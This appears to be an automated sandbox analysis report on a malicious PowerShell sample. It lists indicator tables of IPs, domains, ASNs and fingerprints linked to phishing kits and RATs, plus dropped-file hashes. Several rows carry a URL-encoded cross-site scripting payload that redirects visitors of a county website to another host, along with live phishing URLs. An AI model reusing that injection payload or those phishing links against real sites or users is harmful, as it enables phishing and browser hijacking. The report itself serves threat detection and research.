Analysis stop reason:	Timeout
Sample name:	KpCJCaQswCshdLQFFKLtCbGdhL.ps1
Detection:	MAL
Classification:	mal68.evad.winPS1@29/512@262/75
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 15 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.251.168.84, 142.250.185.206, 104.102.35.24, 34.104.35.123, 93.184.221.240, 2.23.196.132, 184.28.90.27, 184.27.96.174, 192.229.221.95, 18.203.123.228, 52.49.58.123, 34.253.91.38, 23.197.137.224, 104.19.148.8, 104.19.147.8, 151.101.194.49, 151.101.130.49, 151.101.2.49, 151.101.66.49, 104.102.43.106, 69.173.144.165, 69.173.144.139, 69.173.144.138, 2.18.64.220, 2.18.64.212, 52.18.121.197, 54.171.71.238, 52.214.12.125, 142.250.185.104, 13.107.42.14, 216.58.206.72, 172.217.16.194, 104.18.41.41, 172.64.146.215, 142.250.185.130, 20.114.189.70, 2.19.126.147, 2.19.126.160, 13.74.129.1, 104.17.208.240, 104.17.209.240, 13.107.21.237, 204.79.197.237, 172.217.16.131, 142.250.185.238
Excluded domains from analysis (whitelisted): san-www.concur.com.edgekey.net, www.googleadservices.com, pixel.rubiconproject.net.akadns.net, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clarity-ingest-eus2-c-sc.eastus2.cloudapp.azure.com, clientservices.googleapis.com, e10776.b.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wildcard.marketo.net.edgekey.net, script.crazyegg.com.cdn.cloudflare.net, l-0005.l-msedge.net, a248.b.akamai.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, e16604.g.akamaiedge.net, e9151.dscb.akamaiedge.net, bat.bing.com, update.googleapis.com, tp00.everesttech.net.akadns.net, azurefd-t-prod.trafficmanager.net, prod.fs.microsoft.com.akadns.net, e4518.dscx.akamaiedge.net, ip46.go-mpulse.net.edgekey.net, www-linkedin-com.l-0005.l-msedge.net, clients1.google.com, fs.microsoft.com, accounts.google.com, c-bing-com.dual-a-0034.a-msedge.net, cm.everesttech.net.akadns.net, ctldl.windows
Execution Graph export aborted for target powershell.exe, PID 7488 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7728 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: KpCJCaQswCshdLQFFKLtCbGdhL.ps1

Simulations

Behavior and APIs

Time	Type	Description
04:41:19	API Interceptor	46x Sleep call for process: powershell.exe modified
04:41:21	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
66.235.152.225	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse
	http://t1.global.clubavolta.com/r/?id=h53ebcb4b,29506a5f,2988ba3e&e=cDE9UkVEX0dMX0xveWFsdHlMYXVuY2hTb2x1cy1OT0NPTS1BTEwtMDExMDIwMjQtMV9YWCZwMj1kNzEwNWE1Zi00NjE3LWVmMTEtOWY4OS0wMDBkM2EyMmNlYTE&s=MLotNdk8aEH7W1636YhgxIdQC5od3UWYqTZw3tm9630	Get hash	malicious	Unknown	Browse
	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse
	http://yusdydsfjuuxx.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	https://bronze-cat-cocoa.glitch.me/Onlineaccessprofile.HTML	Get hash	malicious	HTMLPhisher	Browse
	http://currentlyatt49009new.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	http://sjhjjffhhh2024.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	http://aatttagtewebmaill.weebly.com/	Get hash	malicious	Unknown	Browse
	http://att808.weebly.com/	Get hash	malicious	Unknown	Browse
	http://app.sandbox.custombrandedboxesbyfedex.com/	Get hash	malicious	Unknown	Browse
18.66.102.98	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	https://qas.myschoolportal.co.uk/login	Get hash	malicious	Unknown	Browse
	https://url.za.m.mimecastprotect.com/s/0BCLC2RJJxsopvqJcnfRC5V8Fi?domain=form.asana.com	Get hash	malicious	Unknown	Browse
	Vertexgroup#Signature.pdf	Get hash	malicious	Unknown	Browse
	https://myallsouth.com/privacy-policy/	Get hash	malicious	Unknown	Browse
	https://eu.docusign.net	Get hash	malicious	Unknown	Browse
	Factura.pdf	Get hash	malicious	Unknown	Browse
	https://www.svb.com/learning-central/go/contact	Get hash	malicious	Unknown	Browse
	https://url5041.app.lucid.co/uni/ls/click?upn=u001.9CEiYqsCeDB7JcEaXQIz-2F9XjjPqk-2Fb4pFcLw69B6WqTy-2BbVFLiir3sSJZjbRo6mBAwRtKNr9Kf4WztrdCBts7iyzvcJ-2FIUH0XDrcbuiiKrlzy8ZwzSxYR1urVGEa2H8lG0Sg7ExDExUtTEJeACnxEcvsJ4CnFcY2OyyabtZjsqjBmQJR0iCaQNYCn9tJqfPt0sqRsrpUZbmtTsF5u4sk76aC5ja3Exi0TVSSBuxtzkkrePRrkTP-2FRoxSefUr1y9ifBkb_dUh7YYn0CWe7g0uIZp9zt65Hthp00ETbvJwQ2-2FPnaFo-2F6mxOihmrHPDDfCfshjvQGVU9-2Bd2-2B3vsLq0LwwbeORlRqCPnIR26Xq1m6ZVCtavwwAaoSjStADst1UVTP0l4d-2FzBe05CWQHZRJZnuruhZc2ae0Zf85sATPdd2ckxoL02afjX6IZ-2FOnZhoY7M8W-2FjfCWzd1oIyP3ANpDIJAgvTalmosz4y3Bzw-2FhLw29NweA30QmgJS04wuz2oXimlo6op-2FqJedWdU8-2FFbrJTBeUgeanW2Czs-2FFx2TH3awx6W-2F55Yb82yx-2F62ecOROxbh-2BxRxP0NuIJ3E3kOjP9A-2FBHPPistrMOyMfHL3jiBAgKbwxDOZEkcZdWn-2FbhWLonViLvhgsmNJILGX2sEzIPx5T9dHffneCLLKkuS58PqzDIY8zgACYh67a-2BB2UiAkAJ2RKKsfjEyBczdi7jS1NPJGO8JELOnONA-2BUkh-2FPUe3G9cdiSbxRW0MxW4MALRMk7Wout0aHFsrJ7Eh7hadnZE4mjg6TM4MQdJoJM9kphXs-2FrJ8by1dOwVfzD1MjU7M-2FUsC6hEi8gkYGjfbMvNzOqhWtGlGQX1TqXB4dLSi-2FpFlKLKKTOyb-2BEg-2Fk4dUHiOlXDdWkbx1GLw9K6ZKJtQNSWhWZuSXKhKo1a2RW3Ug4SPFD-2F-2Fq24DMjrCmm0g8oFpoDapmDPd4UzAivOlfdqqtkNSCkPToMecTrMkYlTeNujTr-2Bbw99hSJKirL4rAfH9oaNg32Alc4lwJoCppVycgre3BcqTLb2WoN7sUpmWarOPciYLuedGYc0-3D	Get hash	malicious	Unknown	Browse
	file-sample_100kB.doc	Get hash	malicious	Unknown	Browse
192.28.144.124	https://trello.com/c/2T5XVROV	Get hash	malicious	HTMLPhisher	Browse
	https://pt9w4x.nauleacepr.com/9QLzRhIr/#Ygovernment.relations@rolls-royce.com	Get hash	malicious	HTMLPhisher	Browse
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse
	https://amazonlandingpageclone.netlify.app/	Get hash	malicious	Unknown	Browse
	http://is.gd/DHNFRO#dmljdGltQHZpY3RpbS5vcmc=	Get hash	malicious	HTMLPhisher	Browse
	https://lsaustralasia-my.sharepoint.com/:f:/g/personal/janine_lsaust_com_au/EggCi2jFo0JOu2itfCjIwu4B_JvtVZTi0sK58OhnVfOx1Q?e=1IcsEe	Get hash	malicious	Unknown	Browse
	https://uwazidigital.co.ke/mde/anti.php/	Get hash	malicious	HTMLPhisher	Browse
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://f8b02f60eb70017639f9e90eccb03b95.crimachado.com.br/wehrgiwfbfeifef/djbfhokefbwuwrjow/djhfeokhrwihfekljd/YmVuamFtaW4uZ3JpZmZpdGhzQG11ZmdzZWN1cml0aWVzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://flowto.it/JzUKluDj8	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
013-gax-394.mktoresp.com	SAPConcur.msix	Get hash	malicious	NetSupport RAT	Browse	192.28.144.124
013-gax-394.mktoresp.com	HQuxVxuLV.ps1	Get hash	malicious	NetSupport RAT	Browse	192.28.144.124
platform.twitter.map.fastly.net	https://trello.com/c/2T5XVROV	Get hash	malicious	HTMLPhisher	Browse	146.75.88.157
	https://www.dropbox.com/l/scl/AADL_v5DzsoHwkyegIhk6J0bQm3A7UWklCA	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://pt9w4x.nauleacepr.com/9QLzRhIr/#Ygovernment.relations@rolls-royce.com	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://mx1.margarettaphilomena.net/	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://www.dropbox.com/l/scl/AABP2xOO01sAb_g6Yf7--zZVCXd20jwYUa4	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://kevinbeilgard.wixsite.com/my-site-1	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://elderly-same-archeology.glitch.me/public/nfcu703553.HTML	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
	https://rajkamalkanna.github.io/Facebook-Login-Page/	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
	http://clone-of-spotify.freewebhostmost.com/	Get hash	malicious	Unknown	Browse	199.232.188.157
t.co	8cpJOWLf79.rtf	Get hash	malicious	Remcos	Browse	185.199.110.133
	A&CMetrology_10002099678.xls	Get hash	malicious	Remcos	Browse	185.199.109.133
	Airwaybill#0587340231024.xla.xlsx	Get hash	malicious	FormBook	Browse	185.199.110.133
	Purchase Order - PO14895.vbs	Get hash	malicious	Remcos	Browse	185.199.108.133
	https://www.diamondsbyeden.com/	Get hash	malicious	Unknown	Browse	185.199.111.133
	https://www.diamondsbyeden.com/	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.au	Get hash	malicious	HTMLPhisher	Browse	162.215.211.9
sync.crwdcntrl.net	https://www.evernote.com/shard/s683/sh/202c4f3c-3650-93fd-8370-eaca4fc7cbbc/9PDECUYIIdOn7uDMCJfJSDfeqawh-oxMdulb3egg-jZJLZIoB686GWk5jg	Get hash	malicious	HTMLPhisher	Browse	34.251.185.45
	Audio_Msg..00299229202324Transcript.html	Get hash	malicious	Unknown	Browse	52.48.114.218
	https://ole798.com/	Get hash	malicious	Unknown	Browse	176.34.133.63
	https://www.iphone.trustefy.org/	Get hash	malicious	Unknown	Browse	52.19.187.77
	http://en-alldappfix.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	54.228.75.221
	http://wbmeastlink65dfhgh6565yuyueastlink.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	54.228.75.221
	https://solanadefimainnet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	176.34.133.63
	http://nodechain-launchpadlpx.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	52.210.163.17
	http://beautiful-croquembouche-9e3d8d.netlify.app/	Get hash	malicious	HTMLPhisher	Browse	52.210.163.17
	https://ourtime.media-datings.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	54.75.138.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OMNITUREUS	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	66.235.152.221
	http://t1.global.clubavolta.com/r/?id=h53ebcb4b,29506a5f,2988ba3e&e=cDE9UkVEX0dMX0xveWFsdHlMYXVuY2hTb2x1cy1OT0NPTS1BTEwtMDExMDIwMjQtMV9YWCZwMj1kNzEwNWE1Zi00NjE3LWVmMTEtOWY4OS0wMDBkM2EyMmNlYTE&s=MLotNdk8aEH7W1636YhgxIdQC5od3UWYqTZw3tm9630	Get hash	malicious	Unknown	Browse	66.235.152.221
	SecureMessageAtt.html	Get hash	malicious	Unknown	Browse	63.140.62.17
	https://trello.com/c/2T5XVROV	Get hash	malicious	HTMLPhisher	Browse	192.28.144.124
	https://pt9w4x.nauleacepr.com/9QLzRhIr/#Ygovernment.relations@rolls-royce.com	Get hash	malicious	HTMLPhisher	Browse	192.28.144.124
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	192.28.144.124
	http://bankofamerica-secure-login.framer.ai/	Get hash	malicious	Unknown	Browse	63.140.62.17
	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse	66.235.152.221
	https://elderly-same-archeology.glitch.me/public/nfcu703553.HTML	Get hash	malicious	HTMLPhisher	Browse	66.235.152.156
	https://app.custombrandedboxesbyfedex.com/	Get hash	malicious	Unknown	Browse	63.140.62.27
MIT-GATEWAYSUS	Play_VM-NowCWhiteAudiowav012.html	Get hash	malicious	Tycoon2FA	Browse	18.66.122.52
	Remittance_10_0224.html	Get hash	malicious	HTMLPhisher	Browse	18.66.122.119
	https://miro.com/app/board/uXjVLYy6Kvw=/?share_link_id=292365195661	Get hash	malicious	Unknown	Browse	18.66.255.88
	https://we.tl/t-HZxxLlhj0a	Get hash	malicious	Unknown	Browse	18.66.27.85
	Payout_receipt.pdf	Get hash	malicious	Unknown	Browse	18.66.102.75
	Visix Digital Signage.pdf	Get hash	malicious	Unknown	Browse	18.173.205.62
	yakov.mips.elf	Get hash	malicious	Mirai	Browse	18.117.117.234
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	19.226.51.157
	novo.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	19.129.220.164
	novo.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	19.165.185.139
OMNITUREUS	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	66.235.152.221
	http://t1.global.clubavolta.com/r/?id=h53ebcb4b,29506a5f,2988ba3e&e=cDE9UkVEX0dMX0xveWFsdHlMYXVuY2hTb2x1cy1OT0NPTS1BTEwtMDExMDIwMjQtMV9YWCZwMj1kNzEwNWE1Zi00NjE3LWVmMTEtOWY4OS0wMDBkM2EyMmNlYTE&s=MLotNdk8aEH7W1636YhgxIdQC5od3UWYqTZw3tm9630	Get hash	malicious	Unknown	Browse	66.235.152.221
	SecureMessageAtt.html	Get hash	malicious	Unknown	Browse	63.140.62.17
	https://trello.com/c/2T5XVROV	Get hash	malicious	HTMLPhisher	Browse	192.28.144.124
	https://pt9w4x.nauleacepr.com/9QLzRhIr/#Ygovernment.relations@rolls-royce.com	Get hash	malicious	HTMLPhisher	Browse	192.28.144.124
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	192.28.144.124
	http://bankofamerica-secure-login.framer.ai/	Get hash	malicious	Unknown	Browse	63.140.62.17
	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse	66.235.152.221
	https://elderly-same-archeology.glitch.me/public/nfcu703553.HTML	Get hash	malicious	HTMLPhisher	Browse	66.235.152.156
	https://app.custombrandedboxesbyfedex.com/	Get hash	malicious	Unknown	Browse	63.140.62.27
AMAZON-02US	sostener.vbs	Get hash	malicious	Njrat	Browse	52.217.142.185
	https://www.diamondsbyeden.com/	Get hash	malicious	Unknown	Browse	18.156.16.189
	sostener.vbs	Get hash	malicious	XWorm	Browse	185.166.143.50
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	13.33.158.14
	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	18.202.150.204
	Play_VM-NowCWhiteAudiowav012.html	Get hash	malicious	Tycoon2FA	Browse	143.204.68.61
	https://www.kisa.link/dANpz	Get hash	malicious	Phisher	Browse	143.204.215.42
	https://ca.docusign.net/Signing/EmailStart.aspx?a=ef028e9a-a228-415f-bf68-f187538d8e48&etti=24&acct=5c5d7412-9cb5-4dbf-8a78-52c1b2a30ce5&er=96c6e932-7bdc-4ccf-8eb1-c3c23bac63dc	Get hash	malicious	Unknown	Browse	52.24.162.179
	Remittance_10_0224.html	Get hash	malicious	HTMLPhisher	Browse	18.185.183.205
	https://miro.com/app/board/uXjVLYy6Kvw=/?share_link_id=292365195661	Get hash	malicious	Unknown	Browse	54.230.31.75

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 20.12.23.50
	https://email.mg.pmctraining.com/c/eJwkkcuSojAUhp_muJOKJyHAgoXTyMw41lxaa9TepZNwkUvoEER8-i7o3Vf5_tS5qVhRobla6XgTYBCSaMP9VRFHAWWMaKZYqJifqSALMoEkyiiXWvBsVcZaCn-jwmCtA63XQaTFmoVhuNZSURVo5RPCgJEm97pGOivKtmxzT5pmVceFc10PdAuYAqbjOHq5MXmtPWm8oQJMB1sDTT-AJqz9rc_hMPwrt93h9id50qkA5FY6oMnlyEiJ-zFZQtMkT4C8F0ATB8h1byXQL5fmu5cteUx9uGswPcwxM1ipgSaAXKr5y5GfwtqEw05apk_lGF1-zE7M8tL9rZJs_1WwTvb_j-QKyO96lo9bW7n6w07X8_j289urze-_APkgliZnmsdJRNMB-pjWMhN9UZrWWd2qft7J8l6Zyiyw3-TiuJAUnZOFWBgwvZ4fncRoODRdcUW3VU39FJfX5xUj8v49Hd5e_Ns7EqDJysaiLnvTejchK2DkXval66VxtWjVcoZ7jJ8BAAD__0X-oIk	Get hash	malicious	Unknown	Browse	20.109.210.53 20.12.23.50
	http://packedbrick%5B.%5Dcom	Get hash	malicious	Unknown	Browse	20.109.210.53 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 20.12.23.50
	https://www.diamondsbyeden.com/	Get hash	malicious	Unknown	Browse	20.109.210.53 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 20.12.23.50
	https://porn-app.com/download2	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 20.12.23.50
	https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.au	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 20.12.23.50

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3264870809200222
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrj:KooCEYhgYEL0In
MD5:	DB40D4547CBE92D178430F20DB0BB4A4
SHA1:	4A9BB19957DA351D780D61C51FBEF33AA060306A
SHA-256:	33EA69541B7ACB95C55307CA088B8BA0868D320470331AF5686764828AC8EA43
SHA-512:	3FE8109CBF5034B590C29ADD9CCEFAEE566A68F7F9787300A6C032DC10ABB05238D3E4F2859BA2231B2E0FFBA525C34CF8183D4FB4173803324CB3B53D768DFE
Malicious:	false
Reputation:	low
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0c74e1ba, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221833452268448
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	EF8FF06B1AE6A5BBF4AA6D568D729928
SHA1:	A207E0394E3844B6662DF89F9095C23D96904ABF
SHA-256:	5BD6D11AB2626A5357BF744ED90018587E9201721F4A9AAA400C228A5CBD7ECE
SHA-512:	1537F7A94F21CCFB63E806A48253516A2ACA2A81232D55AE99885DD21DCAF3F8D51D80805B2DA5660156F253362B189622B4F672D153C1B5832CA8130E299CA7
Malicious:	false
Reputation:	low
